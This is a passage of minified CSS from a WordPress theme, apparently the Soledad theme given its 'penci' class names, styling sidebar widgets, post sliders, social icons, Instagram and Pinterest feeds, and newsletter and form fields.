.side-item .side-item-text h4 a{font-size:18px;margin-bottom:6px}.penci_recent-posts-sc .penci-feed-excerpt,.widget .penci-feed-excerpt{margin-top:16px}.penci_recent-posts-sc ul.side-newsfeed li.featured-news2 .side-item .side-item-text,.widget ul.side-newsfeed li.featured-news2 .side-item .side-item-text{position:absolute;z-index:1;bottom:12px;padding:15px 10px 0 20px;left:20px;right:20px;background:#fff}.penci_recent-posts-sc ul.side-newsfeed li.featured-news2.all-featured-news .side-item .side-item-text,.widget ul.side-newsfeed li.featured-news2.all-featured-news .side-item .side-item-text{padding-left:10px}.penci_recent-posts-sc ul.side-newsfeed li .order-border-number,.widget ul.side-newsfeed li .order-border-number{position:absolute;left:5px;top:-15px;background-color:rgba(255,255,255,.3);box-shadow:0 1px 2px 0 rgba(0,0,0,.25);display:inline-block;vertical-align:middle;width:30px;height:30px;line-height:28px;border-radius:50%;z-index:6;text-align:center}.penci_recent-posts-sc ul.side-newsfeed li .order-border-number.right-side,.widget ul.side-newsfeed li .order-border-number.right-side{left:auto;right:5px}.penci_recent-posts-sc ul.side-newsfeed li.featured-news .order-border-number.right-side,.widget ul.side-newsfeed li.featured-news .order-border-number.right-side{left:15px;right:auto}.penci_recent-posts-sc ul.side-newsfeed li .number-post,.widget ul.side-newsfeed li .number-post{background-color:#383838;border-radius:50%;width:26px;height:26px;line-height:28px;text-align:center;display:inline-block;vertical-align:middle;color:#fff;font-size:12px;font-family:var(--pchead-font);font-weight:600;z-index:3}.penci_recent-posts-sc ul.side-newsfeed li.featured-news .order-border-number,.widget ul.side-newsfeed li.featured-news .order-border-number{width:40px;height:40px;line-height:38px}.penci_recent-posts-sc ul.side-newsfeed li.featured-news .number-post,.widget ul.side-newsfeed li.featured-news .number-post{width:36px;height:36px;line-height:38px;font-size:16px}.side-newsfeed.pctlst{padding-left:20px!important;border-left:1px solid;border-color:var(--pcborder-cl);margin-left:5px!important}.side-newsfeed.pctlst .penci-feed:after,.side-newsfeed.pctlst .penci-feed:before{width:9px;height:9px;left:-25px;display:inline-block;top:0;transition:all .3s;background:var(--pcaccent-cl);position:absolute;border-radius:50%;z-index:2}.side-newsfeed.pctlst .penci-feed:before{content:"";z-index:1}.side-newsfeed.pctlst.penci-2columns-featured>.penci-feed:not(.featured-news):nth-child(2n+1):after,.side-newsfeed.pctlst.penci-2columns-featured>.penci-feed:not(.featured-news):nth-child(2n+1):before,.side-newsfeed.pctlst.penci-2columns-feed>.penci-feed:nth-child(2n):after,.side-newsfeed.pctlst.penci-2columns-feed>.penci-feed:nth-child(2n):before{content:none}@keyframes pencisonar{0%{opacity:0;transform:scale(.2)}50%{opacity:.9}100%{opacity:0;transform:scale(1)}}.side-newsfeed.pctlst.pctl-s2 .penci-feed:before,.side-newsfeed.pctlst.pctl-s3 .penci-feed:before{background:var(--pcborder-cl)}.side-newsfeed.pctlst.pctl-s2 .penci-feed:hover:before{background:var(--pcaccent-cl)}.side-newsfeed.pctlst.pctl-s3 .penci-feed:after{content:"";background:var(--pcaccent-cl);animation:pencisonar 1.5s ease infinite}.penci-widget-slider{width:100%}.widget .penci-widget-slider .penci-slide-widget{margin:0;padding:0;border-bottom:none}.widget .penci-widget-slider .penci-slide-widget:after,.widget .penci-widget-slider .penci-slide-widget:before{content:none;display:none}.penci-widget-slider .penci-slide-content{position:relative;text-align:center}.penci-widget-slider-overlay{position:absolute;top:0;left:0;width:100%;height:100%;background:#000;opacity:.3;transition:opacity .25s ease;-webkit-transition:opacity .25s ease;-moz-transition:opacity .25s ease;z-index:2}.penci-widget-slider .penci-widget-slide-detail{position:absolute;top:50%;left:25px;right:25px;transform:translateY(-50%);-webkit-transform:translateY(-50%);-moz-transform:translateY(-50%);z-index:5}.penci_post-slider-sc .penci-post-slider-style-1 .penci-widget-slide-detail h4 a,.penci_post-slider-sc .penci-post-slider-style-2 .penci-widget-slide-detail h4 a,.widget .penci-widget-slider .penci-widget-slide-detail h4 a{color:#fff;font-size:18px;text-decoration:none;letter-spacing:0}.penci_post-slider-sc .penci-post-slider-style-3 .penci-widget-slide-detail h4 a{color:#313131}.penci-widget-slide-detail .slide-item-date{color:#fff;display:block;margin-top:5px;font-size:13px}.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-1 .penci-owl-nav .owl-next,.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-1 .penci-owl-nav .owl-prev,.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-2 .penci-owl-nav .owl-next,.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-2 .penci-owl-nav .owl-prev{width:16px;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0;background:0 0;color:#fff;font-size:16px}.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-1 .penci-owl-nav .owl-prev,.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-2 .penci-owl-nav .owl-prev{left:10px}.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-1 .penci-owl-nav .owl-next,.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-2 .penci-owl-nav .owl-next{right:10px}.penci-widget-slider.penci-post-slider-style-2 .penci-slide-content,.penci-widget-slider.penci-post-slider-style-3 .penci-slide-content{text-align:left}.penci-widget-slider.penci-post-slider-style-2 .penci-widget-slide-detail{transform:none;-webkit-transform:none;-moz-transform:none;top:auto;bottom:20px}.penci-post-slider-style-2 .penci-widget-slider-overlay{background:-moz-linear-gradient(top,transparent 0,#000 100%);background:-webkit-linear-gradient(top,transparent 0,#000 100%);background:-o-linear-gradient(top,transparent 0,#000 100%);background:-ms-linear-gradient(top,transparent 0,#000 100%);background:linear-gradient(to bottom,transparent 0,#000 100%);-webkit-transition:opacity .4s ease 0s;-moz-transition:opacity .4s ease 0s;-o-transition:opacity .4s ease 0s;transition:opacity .4s ease 0s;opacity:.7}.penci-post-slider-style-2 .penci-slide-widget:hover .penci-widget-slider-overlay{opacity:.9}.penci-widget-slider.penci-post-slider-style-3 .penci-widget-slide-detail{transform:none;-webkit-transform:none;-moz-transform:none;position:static;margin-top:16px}.widget .penci-widget-slider.penci-post-slider-style-3 .penci-widget-slide-detail h4 a{color:inherit;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s}.widget .penci-widget-slider.penci-post-slider-style-3 .penci-widget-slide-detail h4 a:hover{opacity:.8}.penci-post-slider-style-3 .penci-widget-slide-detail .slide-item-date{color:#888}.widget-social{text-align:center;display:table;width:100%;font-size:0}.widget-social.pc_alignleft{text-align:left}.widget-social.pc_alignright{text-align:right}.widget-social.pc_alignleft>a:first-child i{margin-left:0}.widget-social.pc_alignright>a:last-child i{margin-right:0}@media only screen and (max-width:767px){.pcfb-wrapper .widget-social.pc_alignleft,.pcfb-wrapper .widget-social.pc_alignright{text-align:center}}.widget-social.show-text{margin-left:-5px}.widget-social a i{width:36px;height:36px;line-height:34px;background:0 0;color:#313131;border:1px solid #e0e0e0;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;margin:0 5px 5px 0;display:inline-block;font-size:14px;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;text-align:center}.widget-social.show-text a i{margin-bottom:0}.widget-social a:hover{text-decoration:none!important}.widget-social a:hover i{text-decoration:none;color:#fff;background:var(--pcaccent-cl);border-color:var(--pcaccent-cl)}.widget-social a span{display:none}.widget-social a:first-child{margin-left:0}.widget-social a:last-child{margin-right:0}.widget-social.show-text{display:flex;flex-wrap:wrap;justify-content:space-between;flex-direction:row;margin-left:0}.widget-social.show-text>a{width:49%;text-align:left;margin-bottom:10px;text-decoration:none;display:flex;justify-items:center;flex-wrap:wrap;flex-direction:row;align-items:center}.widget-social.show-text>a:nth-child(2n+1){clear:both}.widget-social.show-text a span{display:inline-block;color:#313131;text-transform:uppercase;font-size:13px;margin-left:5px;font-family:var(--pchead-font);font-weight:var(--pchead-wei);letter-spacing:0;transition:color .3s;-webkit-transition:color .3s;-moz-transition:color .3s;line-height:20px}.widget-social.show-text.remove-uppercase-text a span{text-transform:none}.widget-social.show-text a:hover span{color:var(--pcaccent-cl)}.widget-social.remove-circle a i{width:auto;height:auto;line-height:20px;background:0 0!important;border:none!important}.widget-social.remove-circle a:hover i{color:var(--pcaccent-cl)}.widget-social.remove-circle a span{line-height:20px;margin-left:5px}.widget-social.remove-circle:not(.show-text) a i{margin:0 7px 5px}.widget-social.penci-social-colored a i{border:none!important;line-height:36px;color:#fff!important}.widget-social.penci-social-colored a:hover i{opacity:.85}.widget-social.remove-border-radius a i{border-radius:0;-webkit-border-radius:0;-moz-border-radius:0}.quote-widget{position:relative;display:block}.quote-widget>i{color:#999;position:absolute;top:0;left:0;font-size:22px}.quote-widget>p{padding-left:40px}.footer-widget-wrapper .quote-widget>i{font-size:24px}.footer-widget-wrapper .quote-widget>p{padding-left:42px}.penci-pinterest-widget-container{margin:-5px -5px 0 -5px}.penci-images-pin-widget:after,.penci-images-pin-widget:before{display:table;clear:both;content:""}.penci-pinterest-widget-container .penci-images-pin-widget a{width:33.3333%;display:inline-block;padding:5px;transition:opacity .2s;-webkit-transition:opacity .2s;-moz-transition:opacity .2s;position:relative;float:left;vertical-align:top}.penci-pinterest-widget-container .penci-images-pin-widget a .penci-image-holder{border-radius:0;-webkit-border-radius:0}.penci-pinterest-widget-container .penci-images-pin-widget a:hover{opacity:.8}.penci-pinterest-widget-container .penci-images-pin-widget a:after,.penci-pinterest-widget-container .penci-images-pin-widget a:before{position:absolute;top:10px;right:10px;bottom:10px;left:10px;content:"";opacity:0;-webkit-transition:opacity .35s,-webkit-transform .35s;transition:opacity .35s,transform .35s;z-index:1}.penci-pinterest-widget-container .penci-images-pin-widget a:before{border-top:1px solid #fff;border-bottom:1px solid #fff;-webkit-transform:scale(0,1);transform:scale(0,1)}.penci-pinterest-widget-container .penci-images-pin-widget a:after{border-right:1px solid #fff;border-left:1px solid #fff;-webkit-transform:scale(1,0);transform:scale(1,0)}.penci-pinterest-widget-container .penci-images-pin-widget a:hover:after,.penci-pinterest-widget-container .penci-images-pin-widget a:hover:before{opacity:1;-webkit-transform:scale(1);transform:scale(1)}.penci-pinterest-widget-container .pin_link{text-align:center;margin-top:20px}.penci-pinterest-widget-container.penci-loading .pin_link{clear:both;display:block}.penci-pinterest-widget-container .pin_link a{font-style:italic;color:#999;font-size:16px}.penci-list-banner{display:block}.penci-promo-item{position:relative;width:100%;margin:0 0 25px 0;background-repeat:no-repeat;background-position:center center;background-size:cover;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-color:#ccc}.penci-list-banner .penci-promo-item:last-child{margin-bottom:0}.penci-promo-item.penci-banner-crop{padding-bottom:56%}.penci-promo-item.penci-banner-has-text:after{position:absolute;left:10px;right:10px;top:10px;bottom:10px;content:"";-webkit-transition:all .4s;transition:all .4s;z-index:5;border:1px solid #fff;opacity:.4}.penci-promo-item.penci-banner-has-text:hover:after{opacity:1}.penci-promo-url{position:absolute;top:0;left:0;right:0;bottom:0;z-index:100;background:0 0!important}.penci-promo-text{position:absolute;display:block;top:50%;width:100%;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%);padding:0 10px;left:0;z-index:1;text-align:center}.penci-promo-text h4{text-transform:uppercase;font-size:12px;line-height:1.3;background:#fff;display:inline-block;padding:12px 12px;min-width:120px;text-align:center;color:#010101}.penci-promo-item img{width:100%}.penci-list.penci-wpb{list-style:none;margin:0;padding:0}.penci-list.penci-wpb li{list-style:none}.penci-list.penci-wpb li a:hover{text-decoration:none}.footer-widget-wrapper .widget{margin-bottom:30px}.footer-widget-wrapper .widget .widget-title{color:#313131;margin:0 0 30px;font-family:var(--pchead-font);font-weight:var(--pchead-wei);position:relative;text-align:left;font-size:16px;text-transform:uppercase;background:0 0}.footer-widget-wrapper .widget .widget-title .inner-arrow{border-top:none;border-left:none;border-right:none;padding:0 0 10px;background:0 0;border-bottom:3px solid #e0e0e0}.footer-widget-wrapper .widget .widget-title:after,.footer-widget-wrapper .widget .widget-title:before{content:none}.mc4wp-form{max-width:450px;width:100%;margin:0;text-align:center;margin-left:auto;margin-right:auto}.post-entry .mc4wp-form{margin-left:auto;margin-right:auto;margin-bottom:17px}.mc4wp-form .mc4wp-form-fields>p,.mc4wp-form>form>p{margin-bottom:20px}.penci-mailchimp-s3 .footer-subscribe .mc4wp-form .memail{margin-bottom:0}.mc4wp-form .mc4wp-form-fields>p:last-of-type,.widget .mc4wp-form>form>p:last-of-type{margin-bottom:0}.mc4wp-form input{border:1px solid #dedede;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0;outline:0;background:0 0;display:block;font-size:12px;line-height:1;padding:17px 20px;margin-bottom:20px;letter-spacing:0;font-family:var(--pcbody-font)}.mc4wp-form input:focus{background:#fff}.mc4wp-form input[type=date],.mc4wp-form input[type=email],.mc4wp-form input[type=number],.mc4wp-form input[type=text]{width:100%}.mc4wp-form input[type=checkbox]{display:inline-block;vertical-align:middle}.mc4wp-form input[type=submit]{display:block;width:100%;font-size:14px;padding:18px 20px;text-transform:uppercase;color:#313131;margin:0;cursor:pointer;border:none;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;background:#f5f5f5}.mc4wp-form input[type=submit]:hover{background:var(--pcaccent-cl);color:#fff}div.wpforms-container .wpforms-form.wpforms-form .wpforms-field:not(:last-child){padding:0 0 28px 0}div.wpforms-container .wpforms-form.wpforms-form .wpforms-field-label{color:#939393;font-size:12px;display:block;font-family:var(--pchead-font);text-transform:uppercase;font-weight:var(--pchead-wei);margin-bottom:8px}div.wpforms-container .wpforms-form.wpforms-form input[type=date],div.wpforms-container .wpforms-form.wpforms-form input[type=datetime-local],div.wpforms-container .wpforms-form.wpforms-form input[type=datetime],div.wpforms-container .wpforms-form.wpforms-form input[type=email],div.wpforms-container .wpforms-form.wpforms-form input[type=month],div.wpforms-container .wpforms-form.wpforms-form input[type=number],div.wpforms-container .wpforms-form.wpforms-form input[type=password],div.wpforms-container .wpforms-form.wpforms-form input[type=range],div.wpforms-container .wpforms-form.wpforms-form input[type=search],div.wpforms-container .wpforms-form.wpforms-form input[type=tel],div.wpforms-container .wpforms-form.wpforms-form input[type=text],div.wpforms-container .wpforms-form.wpforms-form input[type=time],div.wpforms-container .wpforms-form.wpforms-form input[type=url],div.wpforms-container .wpforms-form.wpforms-form input[type=week],div.wpforms-container .wpforms-form.wpforms-form select,div.wpforms-container .wpforms-form.wpforms-form textarea{padding:12px 20px;border:1px solid #dedede;font-size:12px;width:100%;font-weight:400;font-family:var(--pcbody-font);max-height:50px;height:auto;background:0 0}div.wpforms-container .wpforms-form .wpforms-field-label-inline{font-size:inherit;font-weight:inherit;line-height:1.3}div.wpforms-container-full .wpforms-form label.wpforms-error{margin-top:5px}div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button,div.wpforms-container .wpforms-form.wpforms-form button[type=submit],div.wpforms-container .wpforms-form.wpforms-form input[type=submit]{text-transform:uppercase;font-family:var(--pchead-font);font-weight:var(--pchead-wei);background:#f5f5f5;border-radius:0;font-size:14px;color:#313131;padding:12px 20px;display:inline-block;-o-transition:.3s;-moz-transition:.3s;-webkit-transition:.3s;transition:.3s;cursor:pointer;width:auto;min-width:120px;text-align:center;margin:0;border:none}.mc4wp-form input[type=submit]:hover,div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover,div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover,div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover{color:#fff;border:none;background:var(--pcaccent-cl)}.footer-widget-wrapper .widget .jr-insta-thumb,.penci-sidebar-content .widget .jr-insta-thumb{margin:-5px -5px 0 -5px}.footer-widget-wrapper .widget .jr-insta-thumb ul.thumbnails li,.penci-sidebar-content .widget .jr-insta-thumb ul.thumbnails li{transition:opacity .2s;-webkit-transition:opacity .2s;-moz-transition:opacity .2s;margin:0}.footer-widget-wrapper .widget .jr-insta-thumb ul.thumbnails li:hover,.penci-sidebar-content .widget .jr-insta-thumb ul.thumbnails li:hover{opacity:.8}.footer-widget-wrapper .widget .jr-insta-thumb ul.thumbnails li img,.penci-sidebar-content .widget .jr-insta-thumb ul.thumbnails li img{padding:5px;width:100%}.jr-insta-thumb ul.thumbnails li img{width:100%}.widget .jr-insta-thumb ul.thumbnails{margin:0}.widget .jr-insta-thumb ul.thumbnails.jr_col_2 li{width:50%!important}.widget .jr-insta-thumb ul.thumbnails.jr_col_3 li{width:33.3333%!important}.widget .jr-insta-thumb ul.thumbnails.jr_col_4 li{width:25%!important}.widget .jr-insta-thumb ul.thumbnails.jr_col_5 li{width:20%!important}.pllexislider .pllex-direction-nav{background:0 0!important;border-radius:0!important;-webkit-border-radius:0!important;-moz-border-radius:0!important}.pllexislider .pllex-direction-nav .pllex-next{margin-left:1px}.pllexislider .pllex-direction-nav li a{width:40px;height:40px;line-height:40px!important;background:rgba(0,0,0,.5);text-align:center}.pllexislider .pllex-direction-nav li{border:none!important}.pllexislider .pllex-direction-nav .pllex-next:before,.pllexislider .pllex-direction-nav .pllex-prev:before{font-family:FontAwesome,sans-serif!important;padding:0!important;text-shadow:none!important;font-size:22px!important}.penci-fawesome-ver5 .pllexislider .pllex-direction-nav .pllex-next:before,.penci-fawesome-ver5 .pllexislider .pllex-direction-nav .pllex-prev:before{font-family:"Font Awesome 5 Free"!important;font-weight:900}.pllexislider .pllex-direction-nav .pllex-next:before{content:"\f105"!important}.pllexislider .pllex-direction-nav .pllex-prev:before{content:"\f104"!important}.pllexislider-overlay ul li .jr-insta-wrap .jr-insta-datacontainer .jr-insta-caption{font-size:12px!important;line-height:1.5em!important;margin-top:8px!important;margin-bottom:0!important}.pllexislider-overlay ul li .jr-insta-wrap .jr-insta-datacontainer{text-shadow:none!important;padding-top:10px!important;padding-bottom:10px!important}.penci-instaslider-normal .penci-insta-datacontainer{margin-top:5px;margin-bottom:5px;display:block}.penci-instaslider-normal .penci-insta-datacontainer .penci-insta-username{text-decoration:none;display:inline-block}.penci-instaslider-normal .penci-insta-datacontainer .penci-insta-time{float:right;display:inline-block;text-align:right;display:none}.penci-instaslider-normal .penci-insta-datacontainer .penci-insta-caption{line-height:normal;margin-top:5px;margin-bottom:5px;display:block;clear:both}.penci-instaslider-overlay a{color:#fff;text-decoration:none}.penci-instaslider-overlay .penci-insta-wrap{position:relative;color:#fff;line-height:normal}.penci-instaslider-overlay .penci-insta-wrap .penci-insta-datacontainer{opacity:0;visibility:hidden;transition:all .3s;position:absolute;left:0;bottom:0;width:100%;text-shadow:0 0 5px rgba(0,0,0,.7);background:rgba(0,0,0,.4);padding:5px 15px;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.penci-instaslider-overlay .penci-insta-info:hover .penci-insta-wrap .penci-insta-datacontainer{opacity:1;visibility:visible}.penci-instaslider-overlay .penci-insta-wrap .penci-insta-datacontainer .penci-insta-username a{color:#fff!important;text-decoration:none;font-weight:700}.penci-instaslider-overlay .penci-insta-wrap .penci-insta-datacontainer .penci-insta-time{float:right;text-align:right}.penci-instaslider-overlay .penci-insta-wrap .penci-insta-datacontainer .penci-insta-caption{line-height:normal;color:#fff;margin-top:5px;margin-bottom:5px;display:block}.penci-insta-thumb .penci-image-holder{border-radius:0;-webkit-border-radius:0}.penci-insta-thumb ul.thumbnails{list-style:none;font-size:0;margin-left:-2.5%;padding:0;margin-bottom:0}.penci-insta-thumb ul.thumbnails.no-border{margin-left:0}.penci-insta-thumb ul.thumbnails li{display:inline-block;padding:0;margin:0 0 2.5% 2.5%;background:0 0;border:0;vertical-align:top;box-shadow:none;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.penci-insta-thumb ul.thumbnails.no-border li{margin:0}.penci-insta-thumb ul.thumbnails li img{max-width:100%!important;height:auto!important;margin:0!important;border:0!important;vertical-align:top}.penci-insta-thumb ul.thumbnails li a{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}.penci-insta-thumb ul.thumbnails.penci-inscol1 li{width:97.5%!important}.penci-insta-thumb ul.thumbnails.penci-inscol2 li{width:47.5%!important}.penci-insta-thumb ul.thumbnails.penci-inscol3 li{width:30.83%!important}.penci-insta-thumb ul.thumbnails.penci-inscol4 li{width:22.5%!important}.penci-insta-thumb ul.thumbnails.penci-inscol5 li{width:17.5%!important}.penci-insta-thumb ul.thumbnails.penci-inscol6 li{width:16.66%!important}.penci-insta-thumb ul.thumbnails.penci-inscol7 li{width:14.28%!important}.penci-insta-thumb ul.thumbnails.penci-inscol8 li{width:12.5%!important}.penci-insta-thumb ul.thumbnails.penci-inscol9 li{width:11.11%!important}.penci-insta-thumb ul.thumbnails.penci-inscol10 li{width:10%!important}.penci-insta-thumb ul.thumbnails.no-border.penci-inscol1 li{width:100%!important}.penci-insta-thumb ul.thumbnails.no-border.penci-inscol2 li{width:50%!important}.penci-insta-thumb ul.thumbnails.no-border.penci-inscol3 li{width:33.33%!important}.penci-insta-thumb ul.thumbnails.no-border.penci-inscol4 li{width:25%!important}.penci-insta-thumb ul.thumbnails.no-border.penci-inscol5 li{width:20%!important}.penci-insta-thumb ul.thumbnails.no-border.penci-inscol6 li{width:16.66%!important}.penci-insta-thumb ul.thumbnails.no-border.penci-inscol7 li{width:14.28%!important}.penci-insta-thumb ul.thumbnails.no-border.penci-inscol8 li{width:12.5%!important}.penci-insta-thumb ul.thumbnails.no-border.penci-inscol9 li{width:11.11%!important}.penci-insta-thumb ul.thumbnails.no-border.penci-inscol10 li{width:10%!important}.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol1 li{width:100%!important}.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol6 li{width:16.66%!important}.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol7 li{width:14.28%!important}.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol8 li{width:12.5%!important}.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol9 li{width:11.11%!important}.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol10 li{width:10%!important}.penci-insta-thumb .penci-image-holder:before{padding-top:100%}@media all and (max-width:640px){.penci-insta-thumb ul.thumbnails.penci-inscol3 li,.penci-insta-thumb ul.thumbnails.penci-inscol4 li,.penci-insta-thumb ul.thumbnails.penci-inscol5 li,.penci-insta-thumb ul.thumbnails.penci-inscol6 li{width:47.5%!important}.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol6 li{width:33.3333%!important}.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol10 li,.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol7 li,.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol8 li,.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol9 li{width:25%!important}.penci-insta-thumb ul.thumbnails.penci-inscol10 li,.penci-insta-thumb ul.thumbnails.penci-inscol7 li,.penci-insta-thumb ul.thumbnails.penci-inscol8 li,.penci-insta-thumb ul.thumbnails.penci-inscol9 li{width:22.5%!important}.penci-insta-thumb ul.thumbnails.no-border.penci-inscol3 li,.penci-insta-thumb ul.thumbnails.no-border.penci-inscol4 li,.penci-insta-thumb ul.thumbnails.no-border.penci-inscol5 li,.penci-insta-thumb ul.thumbnails.no-border.penci-inscol6 li{width:50%!important}.penci-insta-thumb ul.thumbnails.no-border.penci-inscol10 li,.penci-insta-thumb ul.thumbnails.no-border.penci-inscol7 li,.penci-insta-thumb ul.thumbnails.no-border.penci-inscol8 li,.penci-insta-thumb ul.thumbnails.no-border.penci-inscol9 li{width:25%!important}}@media all and (max-width:480px){.penci-insta-thumb ul.thumbnails li{width:100%!important}}.footer-widget-wrapper .widget .penci-insta-thumb,.penci-sidebar-content .widget .penci-insta-thumb,.penci_instagram_widget-sc .penci-insta-thumb{margin:-5px -5px 0 -5px}.penci_instagram_widget-sc.penci_insta-thumbs-no-border .penci-insta-thumb{margin:0}.footer-widget-wrapper .widget .penci-insta-thumb ul.thumbnails li,.penci-sidebar-content .widget .penci-insta-thumb ul.thumbnails li,.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails li{transition:opacity .2s;-webkit-transition:opacity .2s;-moz-transition:opacity .2s;margin:0}.footer-widget-wrapper .widget .penci-insta-thumb ul.thumbnails li:hover,.penci-sidebar-content .widget .penci-insta-thumb ul.thumbnails li:hover,.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails li:hover{opacity:.8}.footer-widget-wrapper .widget .penci-insta-thumb ul.thumbnails li a,.penci-sidebar-content .widget .penci-insta-thumb ul.thumbnails li a,.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails li a{padding:5px;width:100%}.penci_instagram_widget-sc.penci_insta-thumbs-no-border .penci-insta-thumb ul.thumbnails li a{padding:0}.penci-insta-thumb ul.thumbnails li img{width:100%}.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails,.widget .penci-insta-thumb ul.thumbnails{margin:0}.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol2 li,.widget .penci-insta-thumb ul.thumbnails.penci-inscol2 li{width:50%!important}.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol3 li,.widget .penci-insta-thumb ul.thumbnails.penci-inscol3 li{width:33.3333%!important}.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol4 li,.widget .penci-insta-thumb ul.thumbnails.penci-inscol4 li{width:25%!important}.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol5 li,.widget .penci-insta-thumb ul.thumbnails.penci-inscol5 li{width:20%!important}.penci-instaslider-overlay .penci-insta-wrap .penci-insta-datacontainer .penci-insta-caption{font-size:12px!important;line-height:1.5em!important;margin-top:8px!important;margin-bottom:0!important}.penci-instaslider-overlay .penci-insta-wrap .penci-insta-datacontainer{text-shadow:none!important;padding-top:10px!important;padding-bottom:10px!important}.footer-subscribe{text-align:center;padding:50px 0 40px;background-color:#f7f7f7}.footer-subscribe h4.footer-subscribe-title{font-size:32px;letter-spacing:0;text-transform:none;margin-bottom:10px;line-height:1.3}.footer-subscribe .mc4wp-form{max-width:540px;margin:0 auto}.footer-subscribe .mc4wp-form-fields:after,.footer-subscribe .mc4wp-form-fields:before,.footer-subscribe .mc4wp-form:after,.footer-subscribe .mc4wp-form:before{content:"";display:table;clear:both}.footer-subscribe .mc4wp-form .mdes{color:#5c5c5e;font-size:18px;font-style:italic;line-height:1.5;width:740px;display:block;clear:both;margin-bottom:23px;margin-left:-100px}.footer-subscribe .mc4wp-form .mname{display:none}.footer-subscribe .mc4wp-form .memail{display:inline-block;float:left;width:390px}.footer-subscribe .mc4wp-form .msubmit{display:inline-block;float:left;width:140px;margin-left:10px}.mc4wp-response{clear:both;color:#5c5c5e}.mc4wp-response p{line-height:1.4;color:#5c5c5e}.footer-subscribe .widget .mc4wp-form input[type=email],.footer-subscribe .widget .mc4wp-form input[type=text]{background:0 0;border-radius:0;border-color:#d7d7da;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;padding-top:0;padding-bottom:0;height:48px;line-height:48px;font-size:14px;margin:0;color:#313131}.footer-subscribe input[type=email]::-webkit-input-placeholder{color:#313131}.footer-subscribe input[type=email]:-moz-placeholder{color:#313131;opacity:1}.footer-subscribe input[type=email]::-moz-placeholder{color:#313131;opacity:1}.footer-subscribe input[type=email]:-ms-input-placeholder{color:#313131}.footer-subscribe input[type=email]::-ms-input-placeholder{color:#313131}.footer-subscribe input[type=text]::-webkit-input-placeholder{color:#313131}.footer-subscribe input[type=text]:-moz-placeholder{color:#313131;opacity:1}.footer-subscribe input[type=text]::-moz-placeholder{color:#313131;opacity:1}.footer-subscribe input[type=text]:-ms-input-placeholder{color:#313131}.footer-subscribe input[type=text]::-ms-input-placeholder{color:#313131}.footer-subscribe .widget .mc4wp-form input[type=email]:focus,.footer-subscribe .widget .mc4wp-form input[type=email]:hover,.footer-subscribe .widget .mc4wp-form input[type=text]:focus,.footer-subscribe .widget .mc4wp-form input[type=text]:hover{border-color:#888}.footer-subscribe .widget .mc4wp-form input[type=submit]{background:#313131;border-radius:0;color:#fff;padding-top:0;padding-bottom:0;height:48px;line-height:48px;padding:0;text-align:center}.footer-subscribe .widget .mc4wp-form input[type=submit]:hover{background:var(--pcaccent-cl)}.footer-instagram{width:100%;clear:both;display:block;position:relative}.footer-instagram .widget{margin:0}.footer-instagram h4.footer-instagram-title{position:relative;white-space:nowrap;margin:0;width:100%;color:#313131;text-align:center;padding:12px 0;border-top:1px solid #ececec}.footer-instagram.penci-top-instagram h4.footer-instagram-title{border-top:none}.footer-instagram h4.footer-instagram-title span{display:inline-block;position:relative;padding:0;background:inherit;color:inherit;text-transform:uppercase;font-size:16px;z-index:20;vertical-align:top}.footer-instagram h4.footer-instagram-title span.title{padding:0;background:0 0;position:relative;z-index:10}.footer-instagram h4.footer-instagram-title>span:before{content:"\f16d";font-family:FontAwesome;font-size:16px;color:inherit;margin-right:8px;display:inline-block;vertical-align:middle;letter-spacing:0;margin-bottom:3px}.penci-fawesome-ver5 .footer-instagram h4.footer-instagram-title>span:before{font-family:"Font Awesome 5 Brands"!important;font-weight:900}.footer-instagram .jr-insta-thumb{position:relative;z-index:1}.footer-instagram .jr-insta-thumb ul.thumbnails li{transition:opacity .2s;-webkit-transition:opacity .2s;-moz-transition:opacity .2s}.footer-instagram .jr-insta-thumb ul.thumbnails li:hover{opacity:.9}.jr-insta-thumb ul.thumbnails li a{position:relative;display:inline-block;vertical-align:top!important;width:100%}.jr-insta-thumb 